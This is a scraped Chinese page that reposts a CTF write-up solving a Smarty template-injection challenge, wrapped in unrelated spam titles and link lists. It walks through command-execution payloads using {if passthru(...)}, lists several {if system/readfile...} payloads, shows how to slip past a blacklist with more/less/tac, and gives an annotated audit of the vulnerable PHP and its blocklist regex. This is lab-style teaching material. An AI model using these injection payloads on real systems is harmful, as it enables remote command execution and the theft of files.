当前位置: 首页 > news >正文

内部劵淘网站怎么做打开一个网站

内部劵淘网站怎么做,打开一个网站,电子商务网站的建设论文,西安网站制作百亿科技pass a parameter and maybe the flag files filename is random :> 传递一个参数,可能标记文件的文件名是随机的: 于是传一下参,在原网页后面加上/?a1,发现网页出现了变化 3.传入参数,一般情况下是文件包含,或者命令执行&…

pass a parameter and maybe the flag file's filename is random :>

传递一个参数,可能标记文件的文件名是随机的:

于是传一下参,在原网页后面加上/?a=1,发现网页出现了变化

3.传入参数,一般情况下是文件包含,或者命令执行,而这道题目比较新颖,使用的是php模板注入

4.根据测试2*4=8,确定是smarty模板注入

测试phpinfo()函数

http://114.67.246.176:18387/?a={if phpinfo()}{/if}

 

5.真的是百密一疏,过滤了好多的函数,好在没有把passthru()函数过滤

http://114.67.246.176:18387/?a={if passthru("ls /")}{/if}

 

6.没有发现flag,但是发现_12016文件,直接读一波,cat被过滤了,我是用的是more

http://114.67.246.176:18387/?a={if passthru("more /_12016 ")}{/if}

 

得到flag

二、知识点

1. 常用payload
smary中的{if}标签中可以执行的php语句

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}

 

2.passthru()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
passthru — 执行外部程序并且显示原始输出

语法:

 passthru(string $command, int &$return_var = ?): void

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

3.cat绕过
可以使用其他函数如:less、more、tac

4.system|readfile|gz|exec|eval|cat|assert|file|fgets

  1. system: PHP中的system函数用于执行命令行命令,并可返回命令的输出。如果允许用户输入传递给system,可能会允许攻击者执行任意命令。

  2. readfile: readfile函数用于输出一个文件的内容。如果用户可以控制该函数的参数,他们可能会读取服务器上的敏感文件。

  3. gz: 这可能指的是与gz相关的函数,如gzopengzread等,用于处理GZIP压缩文件。如果不当使用,可能会引发安全问题。

  4. exec: 类似于systemexec函数用于执行外部程序,并且可以提供更多的输出控制。这同样可以被用来执行恶意命令。

  5. eval: eval函数执行字符串作为PHP代码。这是极其危险的,因为它允许执行任意PHP代码。

  6. cat: 在Unix/Linux系统中,cat命令用于连接文件并打印到标准输出设备。在PHP中,没有内置的cat函数,但攻击者可能会尝试利用它来读取文件。

  7. assert: PHP中的assert函数用于评估一个表达式,并在表达式结果为FALSE时终止脚本执行。然而,如果assert被用来执行外部代码,它可能会成为一个安全漏洞。

  8. file: 可能指的是file_get_contents函数,它用于读取文件或URL内容。如果用户可以控制这个函数的参数,他们可能会读取服务器上的敏感文件。

  9. fgets: fgets函数用于从文件指针中读取一行。如果用户可以控制文件指针的来源,他们可能会读取未授权的内容。

代码审计:

pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php'); #文件包含
echo "pass a parameter and maybe the flag file's filename is random :>";   #无需审计
$smarty = new Smarty();   #smarty引入,实例化 Smarty 模板引擎的一个新对象
if($_GET){highlight_file('index.php'); #高亮文字foreach ($_GET AS $key => $value) #foreach方法,将get的值传给value
#foreach:PHP中的一个循环控制结构,用于遍历数组中的每个元素。
#$_GET:一个超全局数组,包含了所有通过GET请求方法(即在URL中附加的参数)传递给当前脚本的参数。
#AS:关键字,用于在foreach循环中指定数组元素的键($key)和值($value)。
#$key:循环中数组元素的键(参数名)。
#$value:循环中数组元素的值(参数值{print $key."\n";if(preg_match("/flag|\/flag/i", $value)){ #对value的值进行正则匹配$smarty->display('./template.html');#    $smarty:这是之前通过 new Smarty(); 创建的 Smarty 对象的实例。
#    ->:在 PHP 中,这个符号用来调用对象的方法或访问对象的属性。
#    display:这是 Smarty 对象的一个方法,用于将指定的模板文件呈现(渲染)为输出。
#    './template.html':这是传递给 display 方法的参数,指定了模板文件的路径。这里的 ./ 表示当前目录,template.html 是模板文件的名称。}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){  #对value的值进行正则匹配$smarty->display('./template.html');            }else{$smarty->display("eval:".$value);}}
}
?> 

                       
原文链接:https://blog.csdn.net/m_de_g/article/details/120380488

https://baijiahao.baidu.com/s?id=1698341051395357077&wfr=spider&for=pc

http://www.yidumall.com/news/74369.html

相关文章:

  • 青岛出版集团网站东莞今日新闻大事
  • 做网站的费用的会计分录数据分析网站
  • 物流公司网站建设方案长沙网站seo
  • 深圳哪家公司做网站好国际军事新闻
  • 个人电脑做网站资源搜索
  • c2c平台下载金华seo扣费
  • 游戏网站开发试验报告百度双十一活动
  • o2o模式的电商平台网站有哪些关键词挖掘爱站网
  • 如何做好网站外链2024年度关键词
  • 医疗网站建设广州抖音seo
  • 知彼网络网站建设网站功能优化
  • 网站访客qq抓取今日国内新闻最新消息10条新闻
  • 宁波公司做企业网站微信卖货小程序怎么做
  • 广州网站建设设计今日特大军事新闻
  • 物流网站模板免费电子商务网站
  • 游戏推荐网站怎么做广州网站排名优化报价
  • 制作图片文字模板的软件站长工具seo综合查询工具
  • 专利减缓在哪个网站上做头条权重查询
  • 网站建设一般花多少费用上海网站seo外包
  • 北京免费网站建设定制网站建设推广服务
  • nodejs做网站还是app女教师遭网课入侵视频
  • 网站首页栏目怎么做建立网站需要多少钱
  • 广州电子商城网站建设seo优化公司哪家好
  • 品牌营销与推广seo整站优化方案
  • 不规则网站模板百度人工服务24小时
  • 黄埔网站建设seo推广培训费用
  • 网站代备案流程图代运营公司排行榜
  • 保定建设信息网站手机百度seo快速排名
  • 王爷很凶宁波seo推广优化哪家强
  • 做钢材的网站百度网盘登录入口 网页